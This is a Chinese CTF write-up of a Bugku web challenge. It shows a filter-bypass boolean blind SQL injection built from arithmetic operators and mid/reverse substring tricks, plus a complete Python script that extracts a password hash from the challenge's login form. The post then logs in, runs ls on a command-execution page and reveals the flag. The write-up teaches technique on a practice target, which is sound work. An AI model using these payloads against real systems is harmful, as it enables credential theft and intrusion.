最近做培训和题目讲解的时候,做到bugku的一道题目,bugku的题目想必ctfer都已经耳熟能详了,网上的writeup铺天盖地。
但我今天单独写了一篇文章来写一道题肯定是有原因的,其中一道题是这样的:
1.网上铺天盖地的writeup写到:直接访问http://120.24.86.145:8007/web2/flag
即可得到flag
2.此题真坑,竟然是脑洞,访问flag文件就好了
.....
我看到题目价值200分,放在bugku众多web的后段,怎么看都不是一个脑洞访问一下就完事的题目
于是开始了正规解法的思考
题目说了是sql注入,并且提及了一些关键符号,估计是过滤了吧(看到398的solves不知道其中有多少是直接访问wen目录下flag文件得到的solve= =)
先简单的做一个文件探测
于是来一波文件泄露下载
http://120.24.86.145:8007/web2/.DS_Store
而我们知道
.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。
即便如此,有时候该文件中也会藏匿一些信息,但这里打开后发现
并没有藏匿什么信息
那再看看admin目录
于是信息搜集无果= =
目前只知道
!,!=,=,+,-,^,%
应该都过滤了
随手探测
发现有password和username两个不同的error
猜想这大概说明可以bool盲注了吧(不用sleep还是挺开心的)
那么思路很清晰了
在username处构造一个引号闭合方式,尝试让其回显password error
继续随手测了一下
发现如果被过滤,会提示,还挺好,这样探测就容易许多了
那么fuzz一下好了
发现这些字符被过滤了,又跑了波sql-func的字典
我最爱的regexp和like也都没了,心痛
最开始被带沟里了,以为题目的提示是过滤的意思,然后卡在这里很痛苦
但是后来一想,不对啊
!,!=,=,+,-,^,%
都还在!提示是这个意思!
于是想到用^
去闭合,但是这里尝试无果
一般在数字型的时候,^
会有比较好的效果
例如
?id=1^1
?id=1^0
那么没有空格,or,and等等关键词,怎么办呢?
这里发现运算符-
瞩目
我们尝试构造
这里在运算的时候,字符串变成0
所以
'admin'-1-'' = -1
'admin'-0-'' = 0
那我们放入题目中测试
我们发现-0
的时候,为true,-1
的时候为false
那么这是为什么呢?
我们猜想后台sql语句构造为
$sql = select * from users where username=$username;
在字符串username的值和数字0比较的时候,字符串变为了0
故此0=0
这样一来,我们成功的闭合了引号
我们尝试构造出类似于下面这个语句
ascii(substr((select database()),1,1))>-1
这样把这个语句放在0和1的位置,即可取出数据
但是这里问题重重:
1.没有逗号
2.没有空格
那么解决第一个问题,substr很难用,我们怎么截取?
这里给出一个实例
假设:
passwd=abc123
那么我们用以下方式
mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3)):123
倒叙输出from的位数
观察可知
3
23
123
倒着看的第一位都是3,显然不行,无法截取出来,于是想到反转
3
32
321
然后取最后一位即可
故构造为:
先反转
REVERSE(MID((passwd)from(-%d))
再取最后一位
mid(REVERSE(MID((passwd)from(-%d)))from(-1))
再比较ascii码值
ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d
然后列出范围
s in range(1,33)
d in range(33,127)
我们测试一下
发现中间条件成立时的回显是
username error
不成立的时候回显是
password error
剩下的就是脚本构造了
注:这里说一下passwd字段怎么来的
这里其实我是用了点猜想,看到post表单里
id用的是passwd,所以用的passwd,为什么不去探测数据库和表。。因为or等很多关键词都没有,探测非常困难,不如猜一下= =
不过不能误人子弟,数据库的字段名和post表单里的id,name等不是一回事,不等价,我这里是猜想的!
简单写出脚本如下
import requests
url = "http://120.24.86.145:8007/web2/login.php"
cookie = {
'PHPSESSID':'i6f9opt690kralopas7lcj68ne9na6ev'
}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': 'sky'
}
r = requests.post(url=url,cookies=cookie,data=data)
if "username error!!@_@" in r.content:
password += j
print password
break
运行得到
注:这里是因为跑了前几位,猜想是md5,所以为了效率,缩小了遍历范围= =
得到密码的md5后,进行解密
cmd5个坑货竟然还要收费,乖乖交钱后,发现密码是admin123
随机用
admin
admin123
登录
来到一个命令执行的页面
他暗示我要ls。。我就ls了一下
然后
感觉这里题目没有出好
私以为后面应该接上用?
通配,或者RCE OOB带出数据等操作出题
相关链接
http://skysec.top/2017/12/29/Time-Based-RCE/
https://www.anquanke.com/post/id/154284
不过flag还是顺利的拿到了
flag{sql_iNJEct_comMon3600!}
题目的sql注入部分还是挺有趣的,做完后后知后觉,想起以前似乎做过
http://skysec.top/2017/06/18/%E9%99%95%E8%A5%BF%E6%9D%AFweb%E8%AF%A6%E8%A7%A3/
但是单从这道题来看,个人认为ctf训练平台,还是要刨根问底的,flag并不是关键目的。
还是那句话,主流的writeup并不是万能的:)
注:另附上一次的思考-SSRF
https://www.anquanke.com/post/id/154144
这里也是出题人的疏忽,将flag放在当前目录(为了方便命令执行?)
菜鸡献丑了XD.....